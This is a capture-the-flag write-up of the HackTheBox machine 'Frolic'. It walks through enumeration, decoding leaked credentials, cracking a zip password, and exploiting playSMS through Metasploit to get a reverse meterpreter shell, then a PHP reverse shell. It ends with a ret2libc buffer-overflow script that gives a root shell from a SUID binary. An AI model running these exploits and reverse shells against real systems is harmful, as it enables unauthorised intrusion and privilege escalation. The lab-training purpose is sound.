Frolic @ hackthebox

Frolic is a moderate Linux box, which needs quite a lot of enumeration getting the user access, but has a nice not-to-hard challenging way to root using Buffer Overflow.


Lets start nmap (on all ports!):

└──╼ #nmap -sC -sV -n -p- -oA nmap
Starting Nmap 7.70 ( ) at 2019-03-30 20:06 CET
Nmap scan report for
Host is up (0.028s latency).
Not shown: 65530 closed ports
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA)
|   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA)
|_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
1880/tcp open  http        Node.js (Express middleware)
|_http-title: Node-RED
9999/tcp open  http        nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!
Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -1h58m10s, deviation: 3h10m30s, median: -8m11s
|_nbstat: NetBIOS name: FROLIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: frolic
|   NetBIOS computer name: FROLIC\x00
|   Domain name: \x00
|   FQDN: frolic
|_  System time: 2019-03-31T00:28:49+05:30
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2019-03-30 19:58:48
|_  start_date: N/A

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 56.25 seconds

There is a lot to enumerate. I’ll start gobuster on both web server ports and let them run in the background.

Smb shares can be easily checked with smbmap. (nothing found there)

└──╼ $smbmap -H
[+] Finding open SMB ports....
[+] Guest SMB session established on
[+] IP:        Name:                                      
        Disk                                                    Permissions
        ----                                                    -----------
        print$                                                  NO ACCESS
        IPC$                                                    NO ACCESS

Gobuster has found two directories on Port 1880…

└──╼ #/home/luka/tools/gobuster/gobuster -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u
[+] Url/Domain   :
/red (Status: 301)
/vendor (Status: 301)

… and even more on Port 9999

└──╼ $/home/luka/tools/gobuster/gobuster -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u
[+] Url/Domain   :
/admin (Status: 301)
/test (Status: 301)
/dev (Status: 301)
/backup (Status: 301)
/loop (Status: 301)

Just accesing the port 1880 using browser, welcomes us with Node-RED login mask.

Frolic @ hackthebox

Webserver on Port 9999 is running nginx

Frolic @ hackthebox

Checking the directories, i’ve found another login mask on /admin

Frolic @ hackthebox

Passwort and username checks are being done (for us) conveniently using Java Script.

Frolic @ hackthebox
username == "admin" && password == "superduperlooperpassword_lol"

And that is being followed with more decoding “exercises”, although google does the most of the job, identifying what that is (ook-language

Frolic @ hackthebox

We can use following page to decode the code above:

We are being told which directory we should check

Nothing here check /asdiSIAJJ0QWE9JAS

If we go to the page above, we recieve following

└──╼ $curl -L
└──╼ #curl -sL > base64
└──╼ #cat base64 | base64 -d > base64.decoded
└──╼ #file base64.decoded 
base64.decoded: Zip archive data, at least v2.0 to extract
└──╼ #unzip base64.decoded
Archive:  base64.decoded
[base64.decoded] index.php password: 
└──╼ #mv base64.decoded
└──╼ #zip2john 
ver 2.0 efh 5455 efh 7875 PKZIP Encr: 2b chk, TS_chk, cmplen=176, decmplen=617, crc=145BFE23$pkzip2$1*2*2*0*b0*269*145bfe23*0*43*8*b0*145b*89c3*5e44e6104a9f73b2688a299a1b9550f06e0ba9bf5373e4024a771a11dc8ee5a034e2f6d98f6bee7ad0128a55c896ec2b58ba7fe050c8e112e1b687a4ead0bbe2785f13c04e895bfd8d8453aaea38f283f2e20f914a3253c72a830344d08d7d933864540e51026bde10cad7e3e4fb6a5f9f8bf918e994c027787f6390c216dd8f74beb2373551ac0b9a8a030e95106b032c34b5d96229be3446b5e90609ffba84e396eae9efc72671326f8857d49ce339*$/pkzip2$
└──╼ #zip2john >
ver 2.0 efh 5455 efh 7875 PKZIP Encr: 2b chk, TS_chk, cmplen=176, decmplen=617, crc=145BFE23

I accidentaly clicked on enter before applying the wordlist, which apparently wasn’t even needed. Password is “password”

└──╼ #john 
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Proceeding with single, rules:Wordlist
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 3 candidates buffered for the current salt, minimum 8
needed for performance.
Warning: Only 2 candidates buffered for the current salt, minimum 8
needed for performance.
Warning: Only 4 candidates buffered for the current salt, minimum 8
needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any
Warning: Only 6 candidates buffered for the current salt, minimum 8
needed for performance.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
password         (
1g 0:00:00:00 DONE 2/3 (2019-03-31 09:32) 20.00g/s 1103Kp/s 1103Kc/s 1103KC/s 123456..faithfaith
Use the "--show" option to display all of the cracked passwords reliably
Session completed
└──╼ #unzip 
[] index.php password: 
  inflating: index.php               
└──╼ #file index.php 
index.php: ASCII text, with very long lines

Again a long string:

└──╼ #cat index.php 

We have hex above, we need to transform it into ascii. To do that we can use xxd with -r for reverse and -p for plain text . ( i needed to check the manual to find -p since it’s not included in help )

└──╼ #cat index.php | xxd -r -p

This base64 encoded string seems to have some line breaks in it, and after trying to decode it, i noticed i get some errors. I used dos2unix, which is basically removing line breaks and ran the encoded string through base64 -d.

└──╼ #cat index.php | xxd -r -p | base64 -d
+++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ .<+base64: invalid input
└──╼ #cat index.php | xxd -r -p | dos2unix | base64 -d
+++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ .<+++ [->++ +<]>+
++.<+ ++[-> ---<] >---- --.-- ----- .<+++ +[->+ +++<] >+++. <+++[ ->---
<]>-- .<+++ [->++ +<]>+ .---. <+++[ ->--- <]>-- ----. <++++ [->++ ++<]>

I used to decode the string and i’ve got idkwhatispass back. It must be a password used somewhere.

More credentials can be found here:

Frolic @ hackthebox
└──╼ #curl
user - admin
└──╼ #curl
password - imnothuman

I ran dirbuster on this point again, since i couldn’t find any other login pages apart from and the one that we have already cracked Dirbuster found another directory under /dev called /backup, which seems to have another directoy called /playsms.

Frolic @ hackthebox

Playsms runs in the root directory. Working username + password are admin/idkwhatispass

Initial Foothold and Exploitation

Frolic @ hackthebox

Upon checking what playSMS even is, there were some exploits found as well and there was a metasploit module ready as well.

Frolic @ hackthebox

Metasploit module multi/http/playsms_uploadcsv_exec needs some information like Username, Password, Targeturi and of course RHOSTS.

msf5 exploit(multi/http/playsms_uploadcsv_exec) > options
Module options (exploit/multi/http/playsms_uploadcsv_exec):
   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------       
   PASSWORD   idkwhatispass    yes       Password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     yes       The target address range or CIDR identifier
   RPORT      9999             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /playsms/        yes       Base playsms directory path
   USERNAME   admin            yes       Username to authenticate with
   VHOST                       no        HTTP server virtual host  
Payload options (php/meterpreter/reverse_tcp):                               
   Name   Current Setting  Required  Description                  
   ----   ---------------  --------  -----------
   LHOST      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   PlaySMS 1.4

msf5 exploit(multi/http/playsms_uploadcsv_exec) > run

[*] Started reverse TCP handler on
[+] Authentication successful: admin:idkwhatispass
[*] Sending stage (38247 bytes) to
[*] Meterpreter session 1 opened ( -> at 2019-03-31 11:06:54 +0200

meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer    : frolic
OS          : Linux frolic 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:22:43 UTC 2018 i686
Meterpreter : php/linux

I needed a better upgraded shell so i uploaded php-reverse-shell.php into the playsms directory and named it rev.php.

meterpreter > upload ./php-reverse-shell.php ./rev.php
[*] uploading  : ./php-reverse-shell.php -> ./rev.php
[*] Uploaded -1.00 B of 2.73 KiB (-0.04%): ./php-reverse-shell.php -> ./rev.php
[*] uploaded   : ./php-reverse-shell.php -> ./rev.php

I started the listener on port 443 and upgraded shell to fully interactive with python -c “import pty;pty.spawn(‘/bin/bash’);” and typing CTRL + Z and typing stty raw -echo and fg.

We can grab a user flag

www-data@frolic:/home/ayush$ cat user.txt

Privilege Escalation

For enumeration i used I wont paste the whole output here, but what is really sticking out was SUID set on a strage file

www-data@frolic:/$ find / -perm -u=s -type f 2>/dev/null

It is owned by root

www-data@frolic:/home/ayush/.binary$ ls -la
total 16
drwxrwxr-x 2 ayush ayush 4096 Sep 25  2018 .
drwxr-xr-x 3 ayush ayush 4096 Sep 25  2018 ..
-rwsr-xr-x 1 root  root  7480 Sep 25  2018 rop

The file seems to be sending a message. If we put longer string to the file, it will crash

www-data@frolic:/home/ayush/.binary$ rop `python -c "print 'A'*10"` 
[+] Message sent: AAAAAAAAAA 
www-data@frolic:/home/ayush/.binary$ rop `python -c "print 'A'*100"`
Segmentation fault (core dumped)

So if this file can be BOFed, we need to gather some new information.

www-data@frolic:/home/ayush/.binary$ file rop
rop: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/, for GNU/Linux 2.6.32, BuildID[sha1]=59da91c100d138c662b77627b65efbbc9f797394, not stripped
www-data@frolic:/home/ayush/.binary$ uname -a
Linux frolic 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:22:43 UTC 2018 i686 athlon i686 GNU/Linux
www-data@frolic:/home/ayush/.binary$ cat /etc/lsb-release 

Since i do have 32bit Ubuntu machine installed on my VMware player, i decided just to download the file to my attacker machine and from there download it using netcat to ubuntu. Ubuntu is running 14.04 but since the program is very simple it should work the same.

Frolic @ hackthebox

Frolic machine is not having aslr active.

www-data@frolic:/home/ayush/.binary$ cat /proc/sys/kernel/randomize_va_space
www-data@frolic:/home/ayush/.binary$ ldd rop | grep libc => /lib/i386-linux-gnu/ (0xb7e19000)
www-data@frolic:/home/ayush/.binary$ ldd rop | grep libc => /lib/i386-linux-gnu/ (0xb7e19000)
www-data@frolic:/home/ayush/.binary$ ldd rop | grep libc => /lib/i386-linux-gnu/ (0xb7e19000)
www-data@frolic:/home/ayush/.binary$ ldd rop | grep libc => /lib/i386-linux-gnu/ (0xb7e19000)
www-data@frolic:/home/ayush/.binary$ ldd rop | grep libc => /lib/i386-linux-gnu/ (0xb7e19000)
www-data@frolic:/home/ayush/.binary$ ldd rop | grep libc => /lib/i386-linux-gnu/ (0xb7e19000)
www-data@frolic:/home/ayush/.binary$ gdb --version

First of all we would need to find the right offset. we can use pattern_offset.rb

└──╼ #/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100

I copied this string and pasted it into ubuntu system. I made a rop program executable and ran it by gdb ./rop

(gdb) b main
Breakpoint 1 at 0x80484aa
(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Starting program: /home/luka/Desktop/rop Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Breakpoint 1, 0x080484aa in main ()
(gdb) c

Program received signal SIGSEGV, Segmentation fault.
0x62413762 in ?? ()

If we paste the Bytes into patter_offset.rb we see that offset is 52 bytes

└──╼ #/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 100 -q 0x62413762

[*] Exact match at offset 52

Now we have all information we need to start creating a buffer overflow script. Since ASLR is not active, there is no need testing it on the Ubuntu system first. The procedure would be the same. ( it is very helpful to have full interactive shell at this point, since you’ll be able to autocomplete – at least for me – not so known directories)

To complete the script we need to modify the offsets.

www-data@frolic:/tmp$ ldd /home/ayush/.binary/rop | grep libc => /lib/i386-linux-gnu/ (0xb7e19000)
www-data@frolic:/tmp$ readelf -s /lib/i386-linux-gnu/ | grep system
   245: 00112f20    68 FUNC    GLOBAL DEFAULT   13 svcerr_systemerr@@GLIBC_2.0
   627: 0003ada0    55 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE
  1457: 0003ada0    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0
www-data@frolic:/tmp$ readelf -s /lib/i386-linux-gnu/ | grep exit
   112: 0002edc0    39 FUNC    GLOBAL DEFAULT   13 __cxa_at_quick_exit@@GLIBC_2.10
   141: 0002e9d0    31 FUNC    GLOBAL DEFAULT   13 exit@@GLIBC_2.0
   450: 0002edf0   197 FUNC    GLOBAL DEFAULT   13 __cxa_thread_atexit_impl@@GLIBC_2.18
   558: 000b07c8    24 FUNC    GLOBAL DEFAULT   13 _exit@@GLIBC_2.0
   616: 00115fa0    56 FUNC    GLOBAL DEFAULT   13 svc_exit@@GLIBC_2.0
   652: 0002eda0    31 FUNC    GLOBAL DEFAULT   13 quick_exit@@GLIBC_2.10
   876: 0002ebf0    85 FUNC    GLOBAL DEFAULT   13 __cxa_atexit@@GLIBC_2.1.3
  1046: 0011fb80    52 FUNC    GLOBAL DEFAULT   13 atexit@GLIBC_2.0
  1394: 001b2204     4 OBJECT  GLOBAL DEFAULT   33 argp_err_exit_status@@GLIBC_2.1
  1506: 000f3870    58 FUNC    GLOBAL DEFAULT   13 pthread_exit@@GLIBC_2.0
  2108: 001b2154     4 OBJECT  GLOBAL DEFAULT   33 obstack_exit_failure@@GLIBC_2.0
  2263: 0002e9f0    78 FUNC    WEAK   DEFAULT   13 on_exit@@GLIBC_2.0
  2406: 000f4c80     2 FUNC    GLOBAL DEFAULT   13 __cyg_profile_func_exit@@GLIBC_2.2
<gs -a -t x /lib/i386-linux-gnu/ | grep /bin/sh                     
 15ba0b /bin/sh
from subprocess import call
import struct

libc_addr = 0xb7e19000

system_off = 0x0003ada0
exit_off = 0x0002e9d0
arg_off = 0x0015ba0b

system_addr = struct.pack("<I",libc_addr+system_off)                                          
exit_addr = struct.pack("<I",libc_addr+exit_off)                                              
arg_addr = struct.pack("<I",libc_addr+arg_off)

buffer = "A" * 52
buffer += system_addr
buffer += exit_addr
buffer += arg_addr

ret = call(["/home/ayush/.binary/rop",buffer])

If all the offsets were modified correctly, our script needs to run and we should get a root.

www-data@frolic:/tmp$ python 
# id
uid=0(root) gid=33(www-data) groups=33(www-data)
# cat /root/root.txt